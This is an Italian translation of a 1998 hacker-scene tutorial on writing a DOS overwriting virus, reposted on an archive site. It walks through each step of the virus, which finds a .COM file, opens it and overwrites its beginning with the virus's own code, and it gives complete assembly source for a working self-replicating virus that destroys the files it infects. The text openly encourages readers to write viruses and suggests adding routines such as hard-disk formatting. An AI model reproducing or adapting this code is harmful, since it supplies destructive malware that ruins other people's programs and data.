Copy Link
Add to Bookmark
Report

RATBOY S OVER WRITTING VIRUS TUTORIAL #1

hacker's profile picture
Published in 
Spippolatori
 · 5 years ago

 

Gli ____ _ ___ ___ __ ______ ____20-11-98
/ __/__ (_) _ \/ _ \___ / / ___ /_ __/__ ____/ _/ ASCII
_\ \/ _ \/ / ___/ ___/ _ \/ /_/ _ `// / / _ \/ __// / by
/___/ .__/_/_/ /_/ \___/____|_,_//_/ \___/_/ /___/RigoR Mortem
/_/


Presentano : RATBOY'S OVER WRITTING VIRUS TUTORIAL #1

Tradotto da : Rui Deti(http://members.xoom.com/ruideti/)


/\---/\ -=RATBOY'S OVERWRITING VIRUS TUTORIAL=-
( . . )
\ / ATTENZIONE: Le informazioni qui contenute possono
\ / essere pericolose per la vostra mente e
\*/ il Vostro computer!!!!!!!!
# Io non mi assumo nessuna responsabilit‡!!!!!!


Bene, ecco il mio primo tutorial educativo. Ho sentito che questo
file era necessario dal momento che non ho potuto trovare nessun tutorial
che insegnasse a scrivere virus a partire dai semplici virus sovrascriventi
(overwriting).Bene io ho iniziato cosÏ e adesso voglio mostrarvelo.In questo
modo anche voi avrete una lunga e fruttuosa vita da codificatori di virus :)

OVERWRITING VIRUSES

-=Cos'Ë un "overwriting virus"?

Mi f‡ piacere che l'abbiate chiesto. :) Un "overwriting virus" Ë un virus
che si riproduce sovrascrivendo la prima parte di un programma con una copia
di se stesso. Ecco un esempio:

+-------------------------+ (Ho preso quest'esempio
| P R O G R A M M A | da 40Hex, grazie P/S!!)
+-------------------------+
pi˘:
+--------+
| VIRUS! |
+--------+
uguale:
+--------+----------------+
| VIRUS! | G R A M M A |
+--------+----------------+

Come potete vedere la prima parte del programma Ë stata sovrascritta
col codice del virus. PoichË nel processo sono effettivamente distrutte
parti importanti del programma, questo non sempre girer‡, ma il codice del
virus sÏ. Come potete ben immaginare i virus sovrascriventi sono distruttivi
e non molto fecondi. Ma bisogna imparare a camminare prima di ballare la
Polka!!


-=Allora, cosa serve per scrivere un "overwriting virus"?

Un'altra cosa che mi f‡ piacere abbiate chiesto. :) BË, avere una conoscenza
di base del linguaggio Assembly Ë fondamentale, ma non Ë molto difficile
impararlo.Da "virus writer", io conosco un solo linguaggio di programmazione,
l'Assembly. Io non ho mai imparato il BASIC. PerciÚ non ascoltate quelli che
dicono di non imparare l'Assembly, Ë un linguaggio di programmazione
fantastico! Alla fine di questo file vi raccomanderÚ libri e cose da fare
per aiutarvi nel vostro cammino verso l'Assembly e il "virus writing".

Bene, andiamo a compilare!!!! :)
Tratteremo solamente i file .Com . PerciÚ ecco la struttura di base in
sorgente Assembly per un file .Com:
-----------------------------------------------------------------------------
CODE SEGMENT
ASSUME CS:CODE,DS:CODE ;In un file .Com i segmenti dati, codice,
;extra e stack sono messi tutti insieme.
ORG 100H ;100H Ë la locazione esadecimale in memoria da
;dove partono tutti i files .Com.
;L'istruzione org assegna automaticamente
;lo spazio per il PSP.
STARTVX PROC NEAR
blah! ;Qui viene inserito il corpo del virus.
blah!
blah!
STARTVX ENDP
blah! ;Qui vengono inseriti i dati etc. etc.
CODE ENDS
END STARTVX
-----------------------------------------------------------------------------
Quindi la struttura di base non Ë molto difficile da seguire, ma la mancanza
di informazioni in quest'esempio puÚ confondere. Tratteremo il codice
sorgente completo per un virus un po' pi˘ tardi.

Adesso vedremo qual'Ë la struttura logica di base per un semplice
"overwriting virus". Bene, guardiamo l'ordine delle operazioni che deve fare
il nostro virus.

(1) Trovare un file
(2) Aprire il file trovato
(3) Scrivere il virus nel file aperto (infettarlo)
(4) Chiudere il file
(5) Uscire

Come potete vedere in questa struttura non ci sono altro che pure funzioni
rirpoduttive. Infatti ho voluto farlo il pi˘ semplice possibile,senza
confondervi con criptaggio, byte d'identificazione, etc.. Abbiamo a che
fare con lo ZEN e l'arte dei virus fondamentali!

Analizziamo uno per uno i passi per scrivere questo semplice virus.

(1) TROVARE IL PRIMO FILE!

Gli input:

AH: 4EH
CX: GLI ATTRIBUTI DEL FILE
DX: INDIRIZZO OFFSET DEL NOME DEL FILE
DS: INDIRIZZO SEGMENT DEL NOME DEL FILE

Vediamo come metterli insieme in questo nostro piccolo programma:

mov ah,4eh ;Funzione "trova il primo file"
mov cx,0000h ;Azzerato CX: file normali
mov dx,offset star_com ;La maschera per i file .Com
;(si vedr‡ pi˘ in gi˘)
int 21h

;Naturalmente quando si scrive star_com bisogna comunicare all'assemblatore
;di cosa si st‡ parlando. Ecco la stringa relativa:

star_com: db "*.com",0

;Ecco come funziona. Con l'uso del carattere jolly '*' sar‡ trovato il primo
;file che ha la fine di .com. Facile, no?

Come potete notare non abbiamo toccato DS: perchË, per i file.Com,
CD=DS=ES=SS. E quindi Star_com era gi‡ nel Data Segment. Si!!! Amo i file
.com . Ehmmm.. Scusate, torniamo in carreggiata.

Adesso, prima di parlare di come aprire il file trovato per scriverci
dentro (infettarlo), dobbiamo parlare del "Disk Transfer Area" (DTA). Quando
si trova il primo file, tutte le informazioni sullo stesso, dal nome, alla
data di creazione, vanno nel DTA. Ecco la struttura del DTA:

0h db 21 dup(0) ;Riservato per usi del DOS
15h db 00 ;Attributi del file
16h dw 0000 ;Ora di creazione
18h dw 0000 ;Data di creazione
1ah dd 00000000 ;Dimensione
1eh db 13 dup(0) ;Nome del file in ASCII

Questa Ë la configurazione del DTA. Il DTA si trova nel PSP (i primi
256(100h) bytes all'inizio del file .Com). Il suo indirizzo Ë 80h.La maggior
parte delle volte, scrivendo virus, si preferisce spostare il DATA dove Ë
possibile manipolarlo senza rovinare il PSP.Nel nostro caso, con un semplice
virus sovrascrivente, non dobbiamo preoccuparci. Tutto quello che dobbiamo
fare Ë leggere dal DTA il nome del file che abbiamo appena trovato.Ecco come
ottenere l'indirizzo del nome del file: sappiamo che il DTA parte allo
indirizzo 80h, e sappiamo che all'indirizzo 1Eh dall'inizio del DTA c'Ë il
nome del file in codice ASCII.Sommiamo i due valori e vediamo che otteniamo:
80h + 1Eh = 9Eh.Ecco dove si trova! Adesso possiamo andare al prossimo passo.

(2) APRIRE IL FILE TROVATO!
Gli input
AH: 3DH ;Apre il file
AL: 00H ;Aprire in sola lettura
01H ;Aprire in sola scrittura
02H ;Aprire sia per lettura che per scrittura
DX: Indirizzo dell'offset del nome del file
DS: Indirizzo del segment del nome del file

Gli output
AX: File Handle (Maniglia del file)

Adesso vediamo il codice in assembly:

mov ah,3dh ;Apre il file
mov al,02h ;Apre il file in lettura e scrittura
mov dx,9eh ;Indirizzo del nome.
int 21h

Le funzioni DOS ci ritorneranno l'Handle (maniglia) del file che abbiamo
appena aperto. L'handle del file non Ë niente altro che un numero che il DOS
usa per sapere da dove leggere e scrivere nel file. Non terremo l'Handle in
AX perchË nel prossimo passo che andremno a vedere ci servir‡ in BX. Ecco un
modo facile per spostarlo:

xchg bx,ax ;Trasferisce l'handle del file in bx in
;una sola istruzione!!!

Ok, adesso il lavoro basso e sporco. Infettare il file che abbiamo appena
aperto. Ha ha!

(3)SCRIVERE NEL FILE APERTO (INFETTARE)
Gli input:

AH: 40H
BX: HANDLE DEL FILE
CX: BYTES DA SCRIVERE
DX: OFFSET DELL'INDIRIZZO DI INIZIO DEL FILE

E qui vediamo ancora come risulta in codice:

mov ah,40h
mov cx,offset endvx - offset startvx ;Questa Ë la lunghezza
;del virus, cioË quanti
;byte scrivere....
mov dx,offset startvx ;Dove inizia il virus
int 21h


Ahhhhhhhhh! Dopo la riproduzione mi sento sempre cosÏ rilassato..ahh.h!
Oh, dov'ero, ah.. adesso che abbiamo copiato il virus nel file, possiamo
chiuderlo.

(4)CHIUDERE IL FILE!
Gli input:
AX: 3EH
BX: HANDLE DEL FILE

Prima di andare avanti ricordiamo che abbiamo gi‡ aperto il file e
che abbiamo gi‡ messo l'handle in BX. CosÏ, visto che non abbiamo cambiato
BX ci basta scrivere:

mov ah,3eh
int 21h

E adesso, il passo finale, l'uscita:

(5) EXIT!

int 20h

Lo so che non Ë molto bello, ma funziona.

Mettiamo tutto insieme e vediamo come appare:

-----------------------------------------------------------------------------
Code Segment
Assume CS:code,DS:code
Org 100h

startvx proc near
mov ah,4eh
mov cx,0000h
mov dx,offset star_com
int 21h

mov ah,3dh
mov al,02h
mov dx,9eh
int 21h

xchg bx,ax

mov ah,40h
mov cx,offset endvx - offset startvx
mov dx,offset startvx
int 21h

mov ah,3eh
int 21h

int 20h
startvx endp

star_com: db "*.com",0

endvx label near

code ends
end startvx
-----------------------------------------------------------------------------

Scusate se non ho messo commenti all'interno. L'ho fatto perchË se
non siete stati capaci di leggerlo vuol dire che avete bisogno di rileggere
il file e fare pratica con l'Assembly.

-=Adesso che so programmare virus sovrascriventi per cosa posso usarli?
Un'altra bella domanda. :) Gli "overwriting virus" sono semplici, ed essendo
semplici sono abbastanza facili da seguire e programmare. V‡ da se che
aiutano nel capire le tecniche di base dei virus, scrivere, leggere, trovare
file, etc... E siccome Ë abbastanza facile scrivere un virus sovrascrivente
si puÚ anche usare come piattaforma per testare altree routine. Formattare
Hard Disk, mostrare qualcosa sullo schermo, criptazione, etc ... CosÏ ci si
puÚ concentrare su come lavora la routine senza curarsi del virus.

-=Adesso che ho le basi, Ë tutto quello di cui ho bisogno?
Oh No, Ci sono molte cose di cui avete bisogno che sar‡ pi˘ difficile
imparare. Leggete "Assembler Inside and Out", e "Using Assembly", sono
davvero buoni libri.
Avete bisogno di un compilatore Assembler(A86+TASM), e un sacco di codici
sorgenti da cui imparare (alcuni sono inclusi).
E non finisce qui, avrete bisogno di un buon Anti-Virus per tracciare cosa
f‡ il virus. F-PROT e TBAV sono grandi, ma se incontrano un virus che non Ë
scannerizzabile non funzionano. E' per questo che raccomando fortemente
INVIRCIBLE. Protegge da "avvitamenti", traccia i movimenti dei virus, anche
non scannerizzabili, e protegge anche dai virus "amici" che sono sul tuo
computer >:>. E' il miglior anti-virus disponibile (bisogna conoscere il
proprio nemico) ed Ë uno strumento potente. La cosa pi˘ importante perÚ Ë
conoscere persone disponibili a rispondere a tutte le domande che vi vengono
in mente. Alcuni di loro sono alla fine di questo file. Parlateci.

Adesso abbiate una vita lunga e fruttuosa nella produzione
dei vostri virus. Ricordate la pratica, fate domande, leggete
e naturalmete divertitevi!!!!!!!

*****************************************************************************

Adesso un attimo di tempo per ringraziare alcune persone:

-=*God, for making me possible
-=*My Wife, for putting up with me!!
-=*FC, thanks for all the info and help, dude!!!
-=*Invircible, yea I know it's a piece of software, but it has covered my but
enough times. Thanks Mike!!!!!!!!!!!!!!!!!
-=*Aristotle, yea Aristotle, the dude help start me out.
-=*Vlad, Immortal Riot, NuKE, Falcon, P/S, Mad Arab, Terminal Velocity..etc..

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT